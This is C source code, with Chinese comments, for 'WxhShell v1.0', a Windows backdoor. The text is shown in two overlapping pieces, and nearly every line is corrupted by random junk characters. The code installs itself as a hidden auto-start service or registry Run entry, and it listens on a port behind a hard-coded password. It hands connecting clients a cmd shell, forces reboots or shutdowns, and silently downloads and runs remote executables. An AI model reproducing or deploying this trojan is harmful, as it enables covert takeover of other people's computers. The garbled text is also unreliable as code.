    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F3On?x)  
    else { Te"ioU?.  
    closesocket(wsh); k\5c|Wq|g  
    ExitThread(0); ~%&LTX0s|  
    } La`NPY_:>  
    break; "~sW"n(F_  
    } >*35C`^  
  // 关机 (A9Fhun  
  case 'd': { 0X6YdW_2X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +^60T$  
    if(Boot(SHUTDOWN)) TM%| '^)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OP[  @k  
    else { )_YX DU  
    closesocket(wsh); q'T4w!V(V  
    ExitThread(0); >mwlsL~X  
    } e"{{ TcNk  
    break; hOjk3 k  
    } oB(?_No7  
  // 获取shell ,Vc6Gwm  
  case 's': { Tp?7_}tRi  
    CmdShell(wsh); 6m}Ev95  
    closesocket(wsh); rV` #[d  
    ExitThread(0); J,'M4O\S  
    break; 'j#*6xD  
  } C0T;![/4A  
  // 退出 (KjoSN( K  
  case 'x': { igCZ|Ru\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W=N+VqK  
    CloseIt(wsh); |jGf<Bf5  
    break; IaSR;/  
    } <FV1Wz  
  // 离开 G#ZH.24Y  
  case 'q': { <sb~ ^B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }bb;~  
    closesocket(wsh); T<n  
    WSACleanup(); - YEZ]:"  
    exit(1); /6)<}#  
    break; *& BQTZ6  
        } xQ f*  
  } BtkOnbz8X  
  } Ri<u/ ]oR"  
)1?y 8_B  
  // 提示信息 3Z>Ux3[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cuax;0{%  
} X8Bd3-B  
  } h0g8*HY+}  
KI"#f$2&  
  return; l!D}3jD  
} ~[t[y~Hup  
Cjn#00  
// shell模块句柄 h79}qU  
int CmdShell(SOCKET sock) yb<fpM  
{ y8]B:_iU9  
STARTUPINFO si; Kg{+T`  
ZeroMemory(&si,sizeof(si)); is?{MJZ_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?>7[7(|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ROH|PKb7  
PROCESS_INFORMATION ProcessInfo; =Qy<GeY  
char cmdline[]="cmd"; \j$&DCv   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q`Go`v  
  return 0; $o+j El>  
} s:n6rG  
S\CCrje  
// 自身启动模式 ?qb}?&1  
int StartFromService(void) 2=*H 8'k  
{ OAgniLv  
typedef struct 9)l$ aBa  
{ hZm"t/aKc  
  DWORD ExitStatus; tHU2/V:R  
  DWORD PebBaseAddress; U7?;UCmX  
  DWORD AffinityMask; #]\Uk,mhZB  
  DWORD BasePriority; ^ gdaa>L  
  ULONG UniqueProcessId; )*u8/U  
  ULONG InheritedFromUniqueProcessId; `}p0VmD{NE  
}   PROCESS_BASIC_INFORMATION; 7y.kQI?3  
/T"+KU*  
PROCNTQSIP NtQueryInformationProcess; `aOFs+<)  
KYB`D.O   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s n8Qk=K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lov!o: dJ  
(Lbbc+1m  
  HANDLE             hProcess; &sl0W-;0  
  PROCESS_BASIC_INFORMATION pbi; j`EXlc~  
))qy;Q,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C"y(5U)d  
  if(NULL == hInst ) return 0; dn& s*  
#NQMy:JHD)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .j ?W>F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !Z1@}`V&;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ` ./$&'  
=7?4eYHC  
  if (!NtQueryInformationProcess) return 0; l5~os>  
d9k0F OR1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zrvF]|1UP  
  if(!hProcess) return 0; AzPu)  
QFA8N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rjK%t|aV^  
hqD*z6aH  
  CloseHandle(hProcess); @ JGP,445  
D ;RiGW4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9[#pIPxNK  
if(hProcess==NULL) return 0; |NlO7aQ>2H  
~?l | [  
HMODULE hMod; zOJ%}  
char procName[255]; )7hqJa-V  
unsigned long cbNeeded; Xu{1".\  
z[ N`s$;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z*F3G#A  
11NQR[  
  CloseHandle(hProcess); gM&{=WDG6  
s9 mx  
if(strstr(procName,"services")) return 1; // 以服务启动 p#-Z4-`  
jV i) Efy  
  return 0; // 注册表启动 [z:!j$K  
} &0d# Y]D4`  
9gW|}&-  
// 主模块 e+EQ]<M  
int StartWxhshell(LPSTR lpCmdLine)  8$=n j  
{ @@f"%2ZR[  
  SOCKET wsl; GC-5X`Sq  
BOOL val=TRUE; -abt:or  
  int port=0; *tA1az-jO  
  struct sockaddr_in door; 9+|$$)  
KM, \  
  if(wscfg.ws_autoins) Install(); }PlRx6r@  
jRa43ck  
port=atoi(lpCmdLine); ~g91Pr   
#<fRE"v:Q  
if(port<=0) port=wscfg.ws_port; ZtNN<7  
(g]!J_Z"  
  WSADATA data; 8\^R~K`sY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xg6Jh``  
JtE M,tK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ov@gh kr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }CSDV9).S  
  door.sin_family = AF_INET;  1~gnc|?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l$KA)xbI  
  door.sin_port = htons(port); AI2)g1m  
MpT8" /.]A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )$2QZ qX  
closesocket(wsl); hgG9m[?K  
return 1; M-VX;/&FR  
} "nynl'Ryk  
'@v\{ l  
  if(listen(wsl,2) == INVALID_SOCKET) { SO/c}vnBB  
closesocket(wsl); AYBns]!  
return 1; @mCEHI{P  
} !)f\%lb  
  Wxhshell(wsl); .^`{1%  
  WSACleanup(); ~12EQacOT  
9c bd~mM{  
return 0; [(i  
~ah~cwmpS  
} B`)BZ,#p  
>58YjLXb  
// 以NT服务方式启动 [>I<#_^~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DeVv4D:}@  
{ ),%%$G\  
DWORD   status = 0; K8|r&`X0  
  DWORD   specificError = 0xfffffff; ;?Tbnn Wn  
LVM%"sd?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6_o*y8s.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5vQHhwO50k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s[>,X#7 y  
  serviceStatus.dwWin32ExitCode     = 0; mthA4sz  
  serviceStatus.dwServiceSpecificExitCode = 0; n&4N[Qlv,  
  serviceStatus.dwCheckPoint       = 0; +HpA:]#Y  
  serviceStatus.dwWaitHint       = 0; {lzWrUGO  
gx/,)> E.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,<_A2t 2  
  if (hServiceStatusHandle==0) return;  4\N ;2N  
!qQl@j O  
status = GetLastError(); eS^7A}*wd-  
  if (status!=NO_ERROR) |*xA 8&/  
{ L<cx:Vz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k9R4Y\8P  
    serviceStatus.dwCheckPoint       = 0; NN{?z!  
    serviceStatus.dwWaitHint       = 0; yPBZc h%-  
    serviceStatus.dwWin32ExitCode     = status; .NC!7+1m  
    serviceStatus.dwServiceSpecificExitCode = specificError; s]0{a.Cpv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !PlEO 2at  
    return; Dj?> <@  
  } [85spub&}  
( $MlXBI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @gEUm_#HTs  
  serviceStatus.dwCheckPoint       = 0; D/gw .XYL  
  serviceStatus.dwWaitHint       = 0; .hb:s,0mP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5 V~oIL  
} C 82omL  
Qy<P463A(l  
// 处理NT服务事件,比如:启动、停止 wU36sCo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~vhE|f  
{ BwEN~2u6  
switch(fdwControl) O:R*rJ  
{ ,8uqdk-D  
case SERVICE_CONTROL_STOP: s\(k<Ks  
  serviceStatus.dwWin32ExitCode = 0; |^I0dR/w:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gs[uD5oo<  
  serviceStatus.dwCheckPoint   = 0; %wg -=;d4  
  serviceStatus.dwWaitHint     = 0; &t@jl\ND  
  { Ta0|+IYk<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?!:ha;n  
  } \:'/'^=#|  
  return; {z5--TogJ  
case SERVICE_CONTROL_PAUSE: r +i($ jMs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I]t!xA~  
  break; H2\;%K 2  
case SERVICE_CONTROL_CONTINUE: | j`@eF/"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :r,pqnH_  
  break; &{hL&BLr  
case SERVICE_CONTROL_INTERROGATE: 49c:V,  
  break; d"mkL-  
}; .G. 0WR/2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `AtBtjs RV  
} !Pvf;rNI1T  
gfd"v  
// 标准应用程序主函数 ek\ xx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rU:`*b<  
{ /t57!&  
R?|.pq/Ln  
// 获取操作系统版本 t9`.bx8  
OsIsNt=GetOsVer(); #Y`~(K47  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [({nj`  
%N6A+5H  
  // 从命令行安装 {\"x3;3!6  
  if(strpbrk(lpCmdLine,"iI")) Install(); \ZFGw&yN  
kx{{_w  
  // 下载执行文件 <z&/L/bl"  
if(wscfg.ws_downexe) { @V sG'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xC:L)7#aw  
  WinExec(wscfg.ws_filenam,SW_HIDE); qJs<#MQ2  
} #U4F0BdA  
Gr'  CtO  
if(!OsIsNt) { bHYy}weZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 X/!o\yyT  
HideProc(); @f~RdO3  
StartWxhshell(lpCmdLine); 8 +/rlHp  
} O, wJR  
else S(l O(gY  
  if(StartFromService()) l`{\"#4  
  // 以服务方式启动 %6,SKg p  
  StartServiceCtrlDispatcher(DispatchTable); -H@:*  
else rSk >  
  // 普通方式启动 u;"TTN  
  StartWxhshell(lpCmdLine); %QGC8Tz  
w~A{(- dx  
return 0; BWa,f8  
} F?*-4I-  
0B/,/KX  
Su7?;Oh/yI  
;>yxNGV`  
=========================================== &*,#5.  
 hoUD;3  
i2Qz4 $z  
nI-w}NQ  
g" DG]/ev  
*boR`[Ond  
" SiRaFj4s"  
KIf dafRL  
#include <stdio.h> gMmaK0uhS  
#include <string.h> kk@fL  
#include <windows.h> xb~yM%*c  
#include <winsock2.h> cWsNr'MS*  
#include <winsvc.h> vhW2PzHFRi  
#include <urlmon.h> Xll}x+'uZK  
O)*+="Rg  
#pragma comment (lib, "Ws2_32.lib") [)M%cyQ  
#pragma comment (lib, "urlmon.lib") +H-6eP  
9G#n 0&wRJ  
#define MAX_USER   100 // 最大客户端连接数 DDP/DD;n}r  
#define BUF_SOCK   200 // sock buffer xd?f2=dd~h  
#define KEY_BUFF   255 // 输入 buffer W)2p@j59A  
b9J_1Gl]  
#define REBOOT     0   // 重启 R6Km\N  
#define SHUTDOWN   1   // 关机 m@2QnA[ 4  
OmpND{w  
#define DEF_PORT   5000 // 监听端口 RuA*YV  
y<|7z99L  
#define REG_LEN     16   // 注册表键长度 O7m(o:t x3  
#define SVC_LEN     80   // NT服务名长度 mb TEp*H  
Lv;^My  
// 从dll定义API %KhI>O<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 36Zf^cFJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9@(PWz=`?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /sx&=[ D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JN-y)L/>  
(AaoCa[  
// wxhshell配置信息 IqaT?+O\?r  
struct WSCFG { 3 *"WG O5  
  int ws_port;         // 监听端口 {0wIR_dGX  
  char ws_passstr[REG_LEN]; // 口令 DS(}<HK{  
  int ws_autoins;       // 安装标记, 1=yes 0=no F3@phu${  
  char ws_regname[REG_LEN]; // 注册表键名 *SDs;kg  
  char ws_svcname[REG_LEN]; // 服务名 N1}sHyVq7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u<tbbKM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yy^q2P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '4+ ur`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {9&;Q|D z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !Y0Vid  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @]%IK(|  
_LEK%  
}; 2^[ `eg  
TOB-aAO  
// default Wxhshell configuration }%ojw |  
struct WSCFG wscfg={DEF_PORT, nLZTK&7}  
    "xuhuanlingzhe", pk$l+sNZ=  
    1, SumF  2  
    "Wxhshell", eCDev}  
    "Wxhshell", D&&9^t9S  
            "WxhShell Service", A Ru2W1g  
    "Wrsky Windows CmdShell Service", 2 /\r)$ 2i  
    "Please Input Your Password: ", ArI2wM/v  
  1, ~F|+o}a `  
  "http://www.wrsky.com/wxhshell.exe", y1eW pPJa  
  "Wxhshell.exe" 3</_c1~  
    }; [2!w_Iw'  
) <[XtK  
// 消息定义模块 *eTqVG.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bQg:zww  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ha0M)0Anv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #C74z$  
char *msg_ws_ext="\n\rExit."; T= y}y  
char *msg_ws_end="\n\rQuit."; ["k,QX  
char *msg_ws_boot="\n\rReboot..."; i/;\7n  
char *msg_ws_poff="\n\rShutdown..."; Q0`wt.}V2  
char *msg_ws_down="\n\rSave to "; / |;RV"  
_lJ!R:*  
char *msg_ws_err="\n\rErr!"; 17%,7P9pg  
char *msg_ws_ok="\n\rOK!"; >reU#j  
/$xU  
char ExeFile[MAX_PATH]; GbY7_N  
int nUser = 0;  lHY+}v0  
HANDLE handles[MAX_USER]; `_Zg3_K.dS  
int OsIsNt; jP$a_hW  
F3[T.sf  
SERVICE_STATUS       serviceStatus; w>s,"2&5J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .GP T!lDc  
YNyk1cE  
// 函数声明 b5dD/-Vj  
int Install(void); 7 UKh688  
int Uninstall(void); KI iO  
int DownloadFile(char *sURL, SOCKET wsh); 6EoMt@7g  
int Boot(int flag); W dK #ZOR  
void HideProc(void); ?DS@e@lx  
int GetOsVer(void);  c(f  
int Wxhshell(SOCKET wsl); T?CdZc.  
void TalkWithClient(void *cs); ~OYiq}g  
int CmdShell(SOCKET sock); x*\Y)9Vgy  
int StartFromService(void); t:x\kp  
int StartWxhshell(LPSTR lpCmdLine); b;B%q$sntC  
~~/|dh5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9IdA%RM~mH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \$~|ZwV{  
\g&,@'uh  
// 数据结构和表定义 !7O+ogL  
SERVICE_TABLE_ENTRY DispatchTable[] = T@H ^BGs  
{ vFzRg5lH  
{wscfg.ws_svcname, NTServiceMain}, ^qvZXb  
{NULL, NULL} 7dTkp!'X-  
}; Fbr;{T .  
8+Lm's=W*  
// 自我安装 ~f&E7su-6+  
int Install(void) + /4A  
{ 64 wv<r]5j  
  char svExeFile[MAX_PATH]; IYE~t  
  HKEY key; hE'-is@7  
  strcpy(svExeFile,ExeFile); [: n'k  
+5g_KS  
// 如果是win9x系统,修改注册表设为自启动 <Uk}o8E  
if(!OsIsNt) { P-9)38`5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kr^P6}'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q5J5>  
  RegCloseKey(key); Gt8M&S-;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xjUT{iwS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *2>&"B09`  
  RegCloseKey(key); ;>U2|>5V  
  return 0; D# 9m\o_  
    } 3V+] 9;  
  } L~(j3D* 3  
} !]A  
else { 0I-9nuw,^;  
('4_ xOb  
// 如果是NT以上系统,安装为系统服务 [NjXO`5#]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k{R>  
if (schSCManager!=0) 60^`JVGWH  
{ p;`>e>$  
  SC_HANDLE schService = CreateService {K~'K+TPu  
  ( 58}U^IW  
  schSCManager, 6IN e@  
  wscfg.ws_svcname, wQ:)KjhHH  
  wscfg.ws_svcdisp, +[6G5cH  
  SERVICE_ALL_ACCESS, /wGM#sFH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '|6]_   
  SERVICE_AUTO_START, @(EAq<5{  
  SERVICE_ERROR_NORMAL, TNT4<5Ol6  
  svExeFile, F/,NDZN  
  NULL, t4."/ .=+  
  NULL, 9R!atPz9  
  NULL, 1 fp?  
  NULL, F$y$'Rzu_B  
  NULL )J o: pkM  
  ); W 8<&gh+  
  if (schService!=0) Co9^OF-k  
  { H5/6TX72N  
  CloseServiceHandle(schService); ]#i igPZ7  
  CloseServiceHandle(schSCManager); @o].He@L<j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B-RjMxX4>  
  strcat(svExeFile,wscfg.ws_svcname); ].avItg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ko| d+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *P[ hy  
  RegCloseKey(key); +qN>.y!Y  
  return 0; r5S[-`s;  
    } '0;l]/i.  
  } ^ox=HNV  
  CloseServiceHandle(schSCManager); j.[.1G*("  
} zF`0J  
} &Q/W~)~  
F>Ah0U0  
return 1; _O)>$.^6  
} etQCzYIhn  
udK%>  
// 自我卸载 X;+sUj8  
int Uninstall(void) %_H<:uGO%  
{ B6+khuG(  
  HKEY key; GhAlx/K  
N@4w! HpJ  
if(!OsIsNt) { B&M%I:i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SBu"3ym  
  RegDeleteValue(key,wscfg.ws_regname); 4!{KWL`A  
  RegCloseKey(key); Ot0ap$&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TIqtF&@o4  
  RegDeleteValue(key,wscfg.ws_regname); /$Ir5=B  
  RegCloseKey(key); I.(, hFx;  
  return 0; OU\~::  
  } zEX  
} 1/B>XkCJ  
} /s&9SYF  
else { tn\yI!a  
-vo})lO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G`D`Af/B  
if (schSCManager!=0) vQG5*pR*w  
{ @Rze| T.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;J( 8 L  
  if (schService!=0) Rxt^v+ ,$  
  { eI}aQ]$ED  
  if(DeleteService(schService)!=0) { e-/&$Qq  
  CloseServiceHandle(schService); ZL&qp04}  
  CloseServiceHandle(schSCManager); y-pJF{ R  
  return 0; R{`(c/%8  
  } 4/~E4"8  
  CloseServiceHandle(schService); gT{Q#C2Baw  
  } biD$qg  
  CloseServiceHandle(schSCManager); 8.1c?S  
} 'T;P;:!\  
} _IHV7*u{;  
HQ_Ok `  
return 1; ^rR1ZVY  
} v |,1[i{  
_#E0g'3  
// 从指定url下载文件 {GT*ZU*  
int DownloadFile(char *sURL, SOCKET wsh) lWk>z; d  
{ \##zR_%  
  HRESULT hr; .bl/*s  
char seps[]= "/"; %bn jgy  
char *token; yf.~XUk^  
char *file;  M mj;-u  
char myURL[MAX_PATH];  #4NaL  
char myFILE[MAX_PATH]; S"QWB`W2  
Pl06:g2I  
strcpy(myURL,sURL); 5X$jl;6  
  token=strtok(myURL,seps); 1p3z1_wrs  
  while(token!=NULL) V*;(kEqj  
  { |-67 \p]  
    file=token; np^N8$i:n  
  token=strtok(NULL,seps); dm0R[[7  
  } yx8z4*]kH  
wo{gG?B  
GetCurrentDirectory(MAX_PATH,myFILE); qbN =4  
strcat(myFILE, "\\"); A1$TXr  
strcat(myFILE, file); ] )\Pqn(  
  send(wsh,myFILE,strlen(myFILE),0); Igt#V;kK"2  
send(wsh,"...",3,0); LKB$,pR~1l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \;,+   
  if(hr==S_OK) cGzPI +F  
return 0; U[-o> W#  
else i v38p%Zm  
return 1; :uS\3toj  
]L.O8  
} q'F+OQb1  
3AtGy'NTp  
// 系统电源模块 q-2Bt,Y  
int Boot(int flag) ] IQ&>z}<  
{ YQvD|x  
  HANDLE hToken; K&]G3W%V  
  TOKEN_PRIVILEGES tkp; A2Ed0|By  
z (wc0I  
  if(OsIsNt) { x.6:<y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xza(k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >Eto( y"q  
    tkp.PrivilegeCount = 1; K#d`Hyx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;(Or`u]Dr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CNyIQ}NJ  
if(flag==REBOOT) { DU'`ewLL7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CAWNDl4  
  return 0; BoWg0*5xb  
} (k.[GfCbD  
else { 1N-\j0au  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y\k#*\'Y~  
  return 0; z'n:@E  
} b94DJzL1z  
  } {$ JYw{a  
  else { *u[BP@vE  
if(flag==REBOOT) { &)ChQZA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U(g:zae  
  return 0; g-bK|6?yz  
} j{A y\n(  
else { $k%2J9O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DV-d(@`K  
  return 0; %s|Ely)  
} X`>i& I]  
} E6ElNgL  
cp7=epho  
return 1; t\,PB{P:J  
} m}t`FsB.  
WX?IYQ+  
// win9x进程隐藏模块 k$R-#f;  
void HideProc(void) KwSqKI7]0  
{ nRS}}6Q  
?P`K7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a~}OZ&PG  
  if ( hKernel != NULL ) 1};Stai'  
  { 0R'?~`aTt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !)0;&e5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d.d/<  
    FreeLibrary(hKernel); Id .nu/  
  } pJ"qu,w  
?M9=yA  
return; ChPmX+.i_  
} vMH  
Ckuh:bs  
// 获取操作系统版本 #rfiD%c  
int GetOsVer(void) UECK:61Me  
{ f+,qNvBY/  
  OSVERSIONINFO winfo; [!#L6&:a8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w-MCZwCr)  
  GetVersionEx(&winfo); q"8e a/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fj3a.'  
  return 1; /]Md~=yNp  
  else h2]P]@nW;W  
  return 0; >W+%8e  
} !ons]^km  
MaQqs=  
// 客户端句柄模块 :>f )g  
int Wxhshell(SOCKET wsl) @,7GaK\  
{ FbFPJ !fb  
  SOCKET wsh; 37.S\ gO]  
  struct sockaddr_in client; K;H&n1  
  DWORD myID; YfKdR"i+.  
8^+%I/S$  
  while(nUser<MAX_USER) qWPkT$ u  
{ rcG"o\g@+  
  int nSize=sizeof(client); ,m|h<faZL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'yEHI  
  if(wsh==INVALID_SOCKET) return 1; LYK"(C  
}!.(n=idZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YZ8>OwQz2  
if(handles[nUser]==0) 0-Ku7<a  
  closesocket(wsh); O;jrCB  
else )' cMYC  
  nUser++; yjJ5>cg  
  } @:vwb\azVD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `kXs;T6&  
]Q3ADh  
  return 0; \?k'4rH  
} %XQ(fj>  
-zeG1gr3  
// 关闭 socket Jk n>S#SZ  
void CloseIt(SOCKET wsh) G<J?"oQbRT  
{ =>v#4zFd  
closesocket(wsh); AH7}/Rc  
nUser--; wc4{)qDE  
ExitThread(0); By4<2u38u  
} '-XXo=>0MV  
2eY_%Y0  
// 客户端请求句柄 bwMm#f  
void TalkWithClient(void *cs) qqY"*uJ'  
{  ItrDJ'  
B%6)}Nl[  
  SOCKET wsh=(SOCKET)cs; Z=o2H Bm7  
  char pwd[SVC_LEN]; 3bH'H*2  
  char cmd[KEY_BUFF]; }9OC,Y8?D  
char chr[1]; j6 z^Tt12  
int i,j; &@OT*pNna  
x g  
  while (nUser < MAX_USER) { vXZOy%$o  
'_FsvHQ  
if(wscfg.ws_passstr) { dkTX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &n:.k}/P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =-n}[Y}A  
  //ZeroMemory(pwd,KEY_BUFF); bK&+5t&  
      i=0; g:8h|w)  
  while(i<SVC_LEN) { HQhM'x  
5Yq@;e  
  // 设置超时 `b7t4d*  
  fd_set FdRead; Iit; F  
  struct timeval TimeOut; . 3T3E X|G  
  FD_ZERO(&FdRead); ( ^Nz9{  
  FD_SET(wsh,&FdRead); 5<Nx^D  
  TimeOut.tv_sec=8; = m#?neop  
  TimeOut.tv_usec=0; ;iL#7NG-R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &d^m 1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #.)0xfGW)n  
RMu~l@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <R=Zs[9M1  
  pwd=chr[0]; 'zuIBOH`j3  
  if(chr[0]==0xd || chr[0]==0xa) { 1\2no{Vh  
  pwd=0; >U27];}y  
  break; R$[vm6T?  
  } fuf"Ae  
  i++; )zdQ1&@  
    } ; )@~  
_F|Ek;y%  
  // 如果是非法用户,关闭 socket ` 7V]y -  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 56kI 5:  
} !wh8'X*  
Q sCheHP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B*Dz{a^.:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oQ[f,7u  
;+ hH  
while(1) { v;D~Pa  
K`fuf=  
  ZeroMemory(cmd,KEY_BUFF); 7?w*]  
6q.Uhe_B  
      // 自动支持客户端 telnet标准   Si;H0uPO  
  j=0; MeZf*' J  
  while(j<KEY_BUFF) { i5@ z< \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u>a5GkG.  
  cmd[j]=chr[0]; #BH*Z(  
  if(chr[0]==0xa || chr[0]==0xd) { Ry6@VQ"NLb  
  cmd[j]=0; R`E~ZWC4V  
  break; $c(nF01  
  } :nOFR$ W  
  j++; d)Y}>@:W  
    } TJXT-\Vk  
w@w(-F!%l  
  // 下载文件 8P&:_T!  
  if(strstr(cmd,"http://")) { bdE[;+58  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZyFjFHe+  
